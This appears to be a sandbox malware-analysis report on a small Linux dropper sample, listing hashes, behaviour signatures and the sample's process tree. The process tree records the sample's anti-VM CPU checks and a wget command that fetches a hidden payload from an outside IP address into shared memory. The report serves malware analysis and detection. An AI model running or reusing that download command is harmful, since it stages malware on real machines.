Overview

overview

4

Static

static

1

jaffacakes...ab.bin

ubuntu-18.04-amd64

4

jaffacakes...ab.bin

debian-9-armhf

4

jaffacakes...ab.bin

debian-9-mips

3

jaffacakes...ab.bin

debian-9-mipsel

3

Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/09/2026, 08:23

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General

  • Target
    jaffacakes118_895e36a01dd97a468f8946619f8831327f617086fb5de029f25bc16845f216ab.bin
  • Size 1KB
  • Sample260910-kaceragb98
  • SHA256 895e36a01dd97a468f8946619f8831327f617086fb5de029f25bc16845f216ab
  • MD5 SHA1 SHA512 TLSH
Score
4/10
antivmdiscovery

Malware Config

Signatures

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to shm directory 2 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

Processes

  • /tmp/jaffacakes118_895e36a01dd97a468f8946619f8831327f617086fb5de029f25bc16845f216ab.bin
    /tmp/jaffacakes118_895e36a01dd97a468f8946619f8831327f617086fb5de029f25bc16845f216ab.bin
    1⤵
      PID:642
      • /usr/bin/touch
        touch .t
        2⤵
        • Writes file to shm directory
        PID:643
      • /bin/rm
        rm -f .t
        2⤵
          PID:647
        • /usr/bin/tr
          tr -d " \\n"
          2⤵
            PID:653
          • /usr/bin/head
            head -c4 /dev/urandom
            2⤵
              PID:651
            • /usr/bin/od
              od -An -tx1
              2⤵
                PID:652
              • /bin/uname
                uname -m
                2⤵
                  PID:656
                • /bin/grep
                  grep -qi mips /proc/cpuinfo
                  2⤵
                  • Checks CPU configuration
                  • System Network Configuration Discovery
                  PID:658
                • /bin/grep
                  grep -q "el\$" /proc/cpuinfo
                  2⤵
                  • Checks CPU configuration
                  PID:664
                • /usr/bin/wget
                  wget -q -O .4fd188f6 http://86.54.42.154/bins/.7
                  2⤵
                  • Writes file to shm directory
                  PID:671

              Network

                    MITRE ATT&CK Enterprise v16

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